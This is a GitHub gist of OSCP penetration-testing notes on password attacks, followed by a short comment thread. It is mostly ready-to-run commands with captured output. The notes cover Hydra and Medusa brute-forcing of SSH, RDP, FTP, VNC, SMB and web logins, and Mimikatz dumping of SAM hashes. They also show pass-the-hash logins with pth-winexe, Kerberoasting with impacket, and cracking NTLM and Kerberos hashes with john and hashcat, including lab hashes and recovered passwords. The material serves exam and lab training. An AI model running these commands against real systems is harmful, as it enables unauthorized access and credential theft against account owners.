ssstonebraker/OSCP_Password_Cracking.md

Hydra

Supported protocols

List1	list2	list3	list4	list5
asterisk	icq	oracle-listener	rexec	snmp
cisco	imap[s]	oracle-sid	rlogin	socks5
cisco-enable	irc	pcanywhere	rpcap	ssh
cvs	ldap2[s]	pcnfs	rsh	sshkey
firebird	ldap3[-{cram	digest}md5][s]		rtsp
ftp[s]	memcached	pop3[s]	s7-300	teamspeak
http[s]-{head	get	post}	mongodb	postgres
http[s]-{get	post}-form	mssql	radmin2	smb
http-proxy	mysql	rdp	smtp[s]	vnc
http-proxy-urlenum	nntp	redis	smtp-enum

VNC Attack with Hydra

hydra -s 5900 -P /usr/share/wordlists/rockyou.txt -t 4 10.11.1.73 vnc -V

FTP Attack with Hydra

$ hydra -I -t 10 -l bob -P ftp.txt -vV 192.168.119.152 ftp
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-10 16:28:34
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 10 tasks per 1 server, overall 10 tasks, 17 login tries (l:1/p:17), ~2 tries per task
[DATA] attacking ftp://192.168.119.152:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "January" - 1 of 17 [child 0] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "February" - 2 of 17 [child 1] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "March" - 3 of 17 [child 2] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "April" - 4 of 17 [child 3] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "May" - 5 of 17 [child 4] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "June" - 6 of 17 [child 5] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "July" - 7 of 17 [child 6] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "August" - 8 of 17 [child 7] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "September" - 9 of 17 [child 8] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "October" - 10 of 17 [child 9] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "November" - 11 of 17 [child 6] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "December" - 12 of 17 [child 5] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "lab" - 13 of 17 [child 8] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "Offsec!" - 14 of 17 [child 3] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "offsec!" - 15 of 17 [child 2] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "lab" - 16 of 17 [child 9] (0/0)
[ATTEMPT] target 192.168.119.152 - login "bob" - pass "bob" - 17 of 17 [child 4] (0/0)
[STATUS] attack finished for 192.168.119.152 (waiting for children to complete tests)
[21][ftp] host: 192.168.119.152   login: bob   password: bob

HTTP Form Post with Hydra

hydra 192.168.152.10 http-form-post \
"/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" \
-l admin -P /usr/share/wordlists/rockyou.txt -vV -f

RDP Brute Force with Hydra

hydra -u -L users.txt -P pw.txt 10.11.1.20 ldap2 -t 1

[kali@kali:~/lab/19_password_cracking]$ hydra -t1 -V -f -l admin -P rdp.txt rdp://192.168.152.10
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-10 15:51:20
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 1 task per 1 server, overall 1 task, 15 login tries (l:1/p:15), ~15 tries per task
[DATA] attacking rdp://192.168.152.10:3389/
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "January" - 1 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "February" - 2 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "March" - 3 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "April" - 4 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "May" - 5 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "June" - 6 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "July" - 7 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "August" - 8 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "September" - 9 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "October" - 10 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "November" - 11 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "December" - 12 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "lab" - 13 of 15 [child 0] (0/0)
[ATTEMPT] target 192.168.152.10 - login "admin" - pass "Offsec!" - 14 of 15 [child 0] (0/0)
[3389][rdp] host: 192.168.152.10   login: admin   password: Offsec!
[STATUS] attack finished for 192.168.152.10 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-10 15:51:24

SSH Bruteforce with Hydra

[kali@kali:~/lab/19_password_cracking]$ hydra -l student -P ssh.txt ssh://192.168.152.44
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-10 15:52:54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:1/p:16), ~1 try per task
[DATA] attacking ssh://192.168.152.44:22/
[22][ssh] host: 192.168.152.44   login: student   password: lab
[22][ssh] host: 192.168.152.44   login: student   password: lab
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-10 15:52:58

[kali@kali:~/lab/19_password_cracking]$

Medusa

This is a speedy, parallel, modular, login bruter forcer.

Supported Modules:

$ medusa -d
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>

  Available modules in "." :

  Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
    + cvs.mod : Brute force module for CVS sessions : version 2.0
    + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
    + http.mod : Brute force module for HTTP : version 2.1
    + imap.mod : Brute force module for IMAP sessions : version 2.0
    + mssql.mod : Brute force module for M$-SQL sessions : version 2.0
    + mysql.mod : Brute force module for MySQL sessions : version 2.0
    + nntp.mod : Brute force module for NNTP sessions : version 2.0
    + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
    + pop3.mod : Brute force module for POP3 sessions : version 2.0
    + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
    + rexec.mod : Brute force module for REXEC sessions : version 2.0
    + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
    + rsh.mod : Brute force module for RSH sessions : version 2.0
    + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1
    + smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1
    + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
    + snmp.mod : Brute force module for SNMP Community Strings : version 2.1
    + ssh.mod : Brute force module for SSH v2 sessions : version 2.1
    + svn.mod : Brute force module for Subversion sessions : version 2.1
    + telnet.mod : Brute force module for telnet sessions : version 2.0
    + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
    + vnc.mod : Brute force module for VNC sessions : version 2.1
    + web-form.mod : Brute force module for web forms : version 2.1
    + wrapper.mod : Generic Wrapper Module : version 2.0

Http Auth Cracking with Medusa

In this example we will be trying to crack the password at http://192.168.152.10/admin which uses .htaccess to protect access to the directory for user "admin"

medusa -h 192.168.152.10 -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/admin

The password was found!

SMB Cracking with Medusa

We will be trying to crack the password for user "offsec" with the word list smb.txt

  medusa -h 192.168.152.10 -u offsec -P smb.txt -M smbnt

Wordlists

Use cewl to generate wordlists from websites

cewl https://brakertech.com -m 6 -w brakertech-cewl.txt

Generate Permutations on custom wordlists with john the ripper

Add custom rule to List.Rules:Wordlist

Let's add two custom rules. The first will append a digit 0-9 to the end of each word, the second will append a double digit to the end of each word.

# append to the end of the [List.Rules:Wordlist] section of /etc/john/john.conf
# Add one number to the end of each pasword
$[0-9]
# Add two numbers to the end of each pasword
$[0-9]$[0-9] 

[kali@kali:~/lab/19_password_cracking]$ grep -A 1 "end of each" /etc/john/john.conf
# Add one number to the end of each pasword
$[0-9]
# Add two numbers to the end of each pasword
$[0-9]$[0-9]

Wordlist Permutation Generation

Mutate cewl list

john --wordlist=brakertech-cewl.txt --rules --stdout > mutated.txt

Mutate a list of Months

Months text file:

[kali@kali:~/lab/19_password_cracking]$ cat months.txt
January
February
March
April
May
June
July
August
September
October
November
December

Mutate it:

john --wordlist=months.txt --rules --stdout > months-mutated.txt; cat months-mutated.txt | sort | uniq > months-mutated-uniq.txt

List the number of lines:

[kali@kali:~/lab/19_password_cracking]$ cat months-mutated-uniq.txt | wc -l
1799

Wordlist Generation Based on Pattern

crunch

Assume the following pattern:

[Capital Letter] [2 x lower case letters] [2 x special chars] [3 x numeric]

To generate a wordlist that matches our requirements, we will specify a minimum and maximum word length of eight characters (8 8) and describe our rule pattern with:

crunch 8 8 -t ,@@^^%%%

Crunch Character Sets

Crunch character sets can be found at:

/usr/share/crunch/charset.lst

To generate a list of words between 4-6 characters that is a mix of upper and lower case:

kali@kali:~$ crunch 4 6 -f /usr/share/crunch/charset.lst mixalpha -o crunch.txt Crunch will now generate the following amount of data: 140712049920 bytes 134193 MB
131 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 20158125312

Pass the Hash

You can use the hash of the NTLM account to authenticate to systems

Mimikatz - Dumping the Hashes

C:\Tools\password_attacks>mimikatz.exe

  .#####.   mimikatz 2.1.1 (x86) built on Mar 25 2018 21:00:57
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

528     {0;000003e7} 1 D 29162          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;000f3d23} 3 D 1256857     CLIENT251\Administrator S-1-5-21-1375711201-1277040102-1320212398-500
(14g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 1309568     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz # lsadump::sam
Domain : CLIENT251
SysKey : 34d76d5474939d8e4eff07823e7691d1
Local SID : S-1-5-21-1375711201-1277040102-1320212398

SAMKey : 0dd784cbffd297eef0b42b099eefe68f

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 32251211a407adf98000769dc64e3323

RID  : 000003e9 (1001)
User : admin
  Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e
    lm  - 0: 30d17563f7974c31af287e692700eb2f
    lm  - 1: b561d600bb224c9ad172dfc2a05c9457
    ntlm- 0: 2892d26cdf84d7a70e2eb3b9f05c425e
    ntlm- 1: f5e4cc1e05fcef8d9e751195562308d9
    ntlm- 2: 2892d26cdf84d7a70e2eb3b9f05c425e

RID  : 000003ea (1002)
User : student
  Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e
    lm  - 0: 782f5478a22d80fe0d941f7c53d6beca
    ntlm- 0: 2892d26cdf84d7a70e2eb3b9f05c425e
    ntlm- 1: 2892d26cdf84d7a70e2eb3b9f05c425e

RID  : 000003eb (1003)
User : offsec
  Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e
    lm  - 0: 61fc5cc76eab45fcf27f8b0c01386132
    ntlm- 0: 2892d26cdf84d7a70e2eb3b9f05c425e

mimikatz #

Using the hashes

Use pth-winexe to autheticate to the target machine

Syntax

pth-winexe -U username%ntlm1:ntlm2  //ip_address cmd
pth-winexe -U username%ntlm0:ntlm2 //ip_address cmd

Example

kali@kali:~/lab/19.4.3_PasswordCracking]$ cat hash.txt
admin:2892d26cdf84d7a70e2eb3b9f05c425e
WDAGUtilityAccount:32251211a407adf98000769dc64e3323

[kali@kali:~]$ pth-winexe -U admin%2892d26cdf84d7a70e2eb3b9f05c425e:2892d26cdf84d7a70e2eb3b9f05c425e //192.168.152.10 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Linux Passwords - Unshadow

In order to crack Linxu passwords you need to use the unshadow utility

unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
unshadow passwd shadow > unshadow

Unshadowed

john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
hashcat -m 1800 -a 0 mailman.txt /Passwords/wordlists/* --outfile mailmain.recovered

John the Ripper

Hashes to crack

Kerberos dump hashes

 python3 /pentest/exploitation/impacket/examples/GetUserSPNs.py -request -dc-ip 10.11.1.20 svcorp.com/evan

Kerberos Crack hashes

hashcat -a 0 -m 13100 svcorp-kerb.txt /Passwords/wordlists/rockyou.txt

NTLM

$ cat hash.txt
admin:2892d26cdf84d7a70e2eb3b9f05c425e
WDAGUtilityAccount:32251211a407adf98000769dc64e3323

Pure brute force

$ sudo john hash.txt --format=NT

Using Words Lists

NTLM

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT

Unshadowed

john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

Unshadowed md5crypt

Exmaple hash

bob:$1$2Wf/hKQd$tV9MM3Qd0Y88GvsDfVvHL0:500:500::/home/bob:/bin/bash

Hashcat

hashcat -m 500 -a 0 tophat.txt /Passwords/wordlists/rockyou.txt

Word Lists with Mangle

john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT

Kerberos Tickets

Convert to john format (output file will be crack_file)

python kirbi2john.py /home/kali/ktickets/[email protected]~1433.kirbi

Crack

# john crack_file --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

Hashcat

NTLM Hash Cracking

Source File

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a8c8b7a37513b7eb9308952b814b522b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:05fa67eaec4d789ec4bd52f48e5a6b28:2733cdb0d8a1fec3f976f3b8ad1deeef:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:0f7a50dd4b95cec4c1dea566f820f4e7:::
alice:1004:aad3b435b51404eeaad3b435b51404ee:b74242f37e47371aff835a6ebcac4ffe:::
kali:1007:aad3b435b51404eeaad3b435b51404ee:fe0bd4e2285afa2676815126dee2f671:::

Hashcat Command NTLM

 hashcat --force -m 1000 ntlm.txt /Passwords/wordlists/rockyou.txt
 
 hashcat --force -m 1000 -r /usr/share/hashcat/rules/best64.rule ntlm.txt /Passwords/wordlists/rockyou.txt --outfile alice.recovered

Show username with outfile

hashcat --username --show -m 1000 -a 0 disco.txt /Passwords/wordlists/rockyou.txt --outfile disco.recovered
kali:fe0bd4e2285afa2676815126dee2f671:kalikali
Guest:31d6cfe0d16ae931b73c59d7e0c089c0:
tood:9a82672679eba04f060863e3dcff7ec7:SPRINGFIELD
mark:bcd477bfdb45435a34c6a38403ca4364:1985
lisa:9c1a294eacb2256b85d8aaba29cfa8f8:BART
ned:40506e34f25e9a8e63ebb95a71afa46a:FLANDERS
david:1fbff38cae51e9918da1fec572f03e11:012345
lee:fc12c395f8f4f7b164b874b9a295f18e:CHEESE
alice:37bcb18eea49b1c09efcfdd9909fcb3a:QWERTY
john:c420ab2599dff2c51e5086c05feb710b:PASSWORD1
homer:8ca881aabea06ef2406acfe38e841b1a:HOMER1

Result File

root@crackstation:/labs/alice]# cat alice.recovered
31d6cfe0d16ae931b73c59d7e0c089c0:
fe0bd4e2285afa2676815126dee2f671:kalikali
b74242f37e47371aff835a6ebcac4ffe:aliceishere

Convert john kerberos format to hashcat

sed -i 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file

Crack Kerberos with Hashcat Wordslists

hashcat -m 13100 -a 0 crack_file /opt/wordlists/Passwords/*.txt

Masks

Using just the masks - Kerberos

hashcat -m 13100 -a 3 crack_file /opt/hashcat-5.1.0/masks/rockyou-1-60.hcmask

Incrementing the masks

Use the --increment flag

# kerberos shown
hashcat -m 13100 -a 3 --increment crack_file /opt/hashcat-5.1.0/masks/8char-1l-1u-1d-1s-compliant.hcmask

officialstar · 2022-02-23T17:00:21Z

i just found a bruteforce command on stackexchange fourm on HYDRA "hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh"
i want the same thing to be done on hashcat with bruteforce -a 3
if u gt to kw let me nw

ssstonebraker · 2022-02-23T17:05:39Z

Are you trying to crack ssh from a local or remote server?

…

On Wed, Feb 23, 2022 at 11:00 AM officialstar ***@***.***> wrote: ***@***.**** commented on this gist. ------------------------------ i just found a bruteforce command on stackexchange fourm on HYDRA "hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh" i want the same thing to be done on hashcat with bruteforce -a 3 if u gt to kw let me nw — Reply to this email directly, view it on GitHub <https://gist.github.com/180701f0fb9a20edfcae68c38c6c9de1#gistcomment-4075962>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AAF5GHGBHLZBWE53NYW3AVDU4UHDBANCNFSM5O65BJOQ> . Triage notifications on the go with GitHub Mobile for iOS <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675> or Android <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>. You are receiving this because you authored the thread.Message ID: ***@***.***>

officialstar · 2022-02-23T17:11:53Z

ok well finally understood hashcat can crack only hashes & nt usernames or passwords..atleast let me nw hw do i apply PIPE on hydra

officialstar · 2022-02-23T17:15:46Z

something like this crunch 8 8 123456789| hashcat -m 0 ce5cff0195a6b059a32411b6202ab49

ssstonebraker/OSCP_Password_Cracking.md

Hydra

Supported protocols

VNC Attack with Hydra

FTP Attack with Hydra

HTTP Form Post with Hydra

RDP Brute Force with Hydra

SSH Bruteforce with Hydra

Medusa

Http Auth Cracking with Medusa

SMB Cracking with Medusa

Wordlists

Generate Permutations on custom wordlists with john the ripper

Add custom rule to List.Rules:Wordlist

Wordlist Permutation Generation

Mutate a list of Months

Wordlist Generation Based on Pattern

crunch

Crunch Character Sets

Pass the Hash

Mimikatz - Dumping the Hashes

Using the hashes

Syntax

Example

Linux Passwords - Unshadow

Unshadowed

John the Ripper

Hashes to crack

Kerberos dump hashes

Kerberos Crack hashes

NTLM

Pure brute force

Using Words Lists

NTLM

Unshadowed

Unshadowed md5crypt

Hashcat

Word Lists with Mangle

Kerberos Tickets

Convert to john format (output file will be crack_file)

Hashcat

NTLM Hash Cracking

Source File

Hashcat Command NTLM

Show username with outfile

Result File

Convert john kerberos format to hashcat

Crack Kerberos with Hashcat Wordslists

Masks

Using just the masks - Kerberos

Incrementing the masks

officialstar commented Feb 23, 2022

ssstonebraker commented Feb 23, 2022 via email

officialstar commented Feb 23, 2022

officialstar commented Feb 23, 2022